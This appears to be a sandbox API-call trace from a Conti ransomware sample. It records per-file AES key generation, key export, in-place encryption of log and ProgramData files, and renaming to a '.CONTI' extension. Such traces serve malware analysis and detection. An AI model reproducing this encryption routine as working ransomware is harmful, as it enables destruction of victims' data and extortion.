	[0097.471] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx"
	[0097.471] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.CONTI"
	[0097.472] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.conti")) returned 1
	[0097.472] GetProcessHeap () returned 0x1720000
	[0097.472] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0097.472] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0097.472] GetProcessHeap () returned 0x1720000
	[0097.472] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d12e0 | out: hHeap=0x1720000) returned 1
	[0097.472] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0098.971] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x17e6ff0 | out: phKey=0x17e6ff0*=0x17c85b0) returned 1
	[0098.972] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e6ff4, pdwDataLen=0x393fdd4 | out: pbData=0x17e6ff4*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0099.018] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\stream.x64.en-us.man.dat")) returned 0x20
	[0099.019] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\stream.x64.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0099.019] GetLastError () returned 0x0
	[0099.019] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=882628) returned 1
	[0099.019] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd77c4
	[0099.019] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.019] SetEndOfFile (hFile=0x324) returned 1
	[0099.019] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.019] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.019] WriteFile (in: hFile=0x324, lpBuffer=0x17e6ff4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x17e6ff4*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0099.711] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.711] ReadFile (in: hFile=0x324, lpBuffer=0x8e60000, nNumberOfBytesToRead=0xd77c4, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0xd77c4, lpOverlapped=0x0) returned 1
	[0099.718] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0xd77c4, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0xd77d0) returned 1
	[0099.719] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.719] WriteFile (in: hFile=0x324, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0xd77d0, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0xd77d0, lpOverlapped=0x0) returned 1
	[0099.721] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.721] WriteFile (in: hFile=0x324, lpBuffer=0x17e6fe8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x17e6fe8*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0099.721] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.722] CloseHandle (hObject=0x324) returned 1
	[0102.072] GetProcessHeap () returned 0x1720000
	[0102.072] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6516058
	[0102.072] lstrcpyW (in: lpString1=0x6516058, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat"
	[0102.072] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat.CONTI"
	[0102.072] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\stream.x64.en-us.man.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\stream.x64.en-us.man.dat.conti")) returned 1
	[0103.475] GetProcessHeap () returned 0x1720000
	[0103.475] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6516058 | out: hHeap=0x1720000) returned 1
	[0103.476] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0103.476] GetProcessHeap () returned 0x1720000
	[0103.476] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3858 | out: hHeap=0x1720000) returned 1
	[0103.476] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0103.476] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x17d2b20 | out: phKey=0x17d2b20*=0x17c7fb0) returned 1
	[0103.476] CryptExportKey (in: hKey=0x17c7fb0, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2b24, pdwDataLen=0x393fdd4 | out: pbData=0x17d2b24*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0103.478] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml")) returned 0x20
	[0103.844] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0103.844] GetLastError () returned 0x0
	[0103.845] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=104348) returned 1
	[0103.845] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1979c
	[0103.845] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.845] SetEndOfFile (hFile=0x30c) returned 1
	[0103.845] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.845] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.845] WriteFile (in: hFile=0x30c, lpBuffer=0x17d2b24*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x17d2b24*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0103.847] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.847] ReadFile (in: hFile=0x30c, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x1979c, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x1979c, lpOverlapped=0x0) returned 1
	[0103.848] CryptEncrypt (in: hKey=0x17c7fb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x1979c, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x197a0) returned 1
	[0103.848] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.848] WriteFile (in: hFile=0x30c, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x197a0, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x197a0, lpOverlapped=0x0) returned 1
	[0103.848] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.848] WriteFile (in: hFile=0x30c, lpBuffer=0x17d2b18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x17d2b18*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0103.848] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.848] CloseHandle (hObject=0x30c) returned 1
	[0103.849] GetProcessHeap () returned 0x1720000
	[0103.849] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6535fd8
	[0103.849] lstrcpyW (in: lpString1=0x6535fd8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml"
	[0103.849] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.CONTI"
	[0103.849] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml.conti")) returned 1
	[0103.849] GetProcessHeap () returned 0x1720000
	[0103.849] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6535fd8 | out: hHeap=0x1720000) returned 1
	[0103.849] CryptDestroyKey (hKey=0x17c7fb0) returned 1
	[0103.849] GetProcessHeap () returned 0x1720000
	[0103.849] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf820 | out: hHeap=0x1720000) returned 1
	[0103.849] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0104.198] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x17d38d0 | out: phKey=0x17d38d0*=0x17c8430) returned 1
	[0104.198] CryptExportKey (in: hKey=0x17c8430, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d38d4, pdwDataLen=0x393fdd4 | out: pbData=0x17d38d4*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0104.214] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\machinekeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267")) returned 0x24
	[0104.214] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\machinekeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.215] GetLastError () returned 0x5
	[0104.215] CryptDestroyKey (hKey=0x17c8430) returned 1
	[0104.215] GetProcessHeap () returned 0x1720000
	[0104.215] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181b340 | out: hHeap=0x1720000) returned 1
	[0104.215] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0107.341] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x17d4680 | out: phKey=0x17d4680*=0x17c80b0) returned 1
	[0107.341] CryptExportKey (in: hKey=0x17c80b0, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4684, pdwDataLen=0x393fdd4 | out: pbData=0x17d4684*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0107.346] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime.xml")) returned 0x20
	[0107.347] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0107.347] GetLastError () returned 0x0
	[0107.347] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=599) returned 1
	[0107.347] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x257
	[0107.347] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.347] SetEndOfFile (hFile=0x394) returned 1
	[0107.348] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.348] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.348] WriteFile (in: hFile=0x394, lpBuffer=0x17d4684*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x17d4684*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.349] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.349] ReadFile (in: hFile=0x394, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x257, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x257, lpOverlapped=0x0) returned 1
	[0107.349] CryptEncrypt (in: hKey=0x17c80b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x257, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x260) returned 1
	[0107.349] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.350] WriteFile (in: hFile=0x394, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x260, lpOverlapped=0x0) returned 1
	[0107.350] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.350] WriteFile (in: hFile=0x394, lpBuffer=0x17d4678*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x17d4678*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0107.350] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.350] CloseHandle (hObject=0x394) returned 1
	[0107.350] GetProcessHeap () returned 0x1720000
	[0107.350] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.350] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml"
	[0107.350] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml.CONTI"
	[0107.350] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime.xml.conti")) returned 1
	[0107.350] GetProcessHeap () returned 0x1720000
	[0107.351] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.351] CryptDestroyKey (hKey=0x17c80b0) returned 1
	[0107.351] GetProcessHeap () returned 0x1720000
	[0107.351] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cbcd8 | out: hHeap=0x1720000) returned 1
	[0107.351] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0108.087] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x6515e30 | out: phKey=0x6515e30*=0x17c82b0) returned 1
	[0108.087] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6515e34, pdwDataLen=0x393fdd4 | out: pbData=0x6515e34*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0108.090] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\136__connections_cellular_bouygues (france)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0108.090] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\136__connections_cellular_bouygues (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0108.091] GetLastError () returned 0x0
	[0108.091] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=721) returned 1
	[0108.091] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d1
	[0108.091] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.091] SetEndOfFile (hFile=0x3c4) returned 1
	[0108.091] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.091] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.091] WriteFile (in: hFile=0x3c4, lpBuffer=0x6515e34*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x6515e34*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0108.093] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.093] ReadFile (in: hFile=0x3c4, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x2d1, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x2d1, lpOverlapped=0x0) returned 1
	[0108.093] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x2d1, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x2e0) returned 1
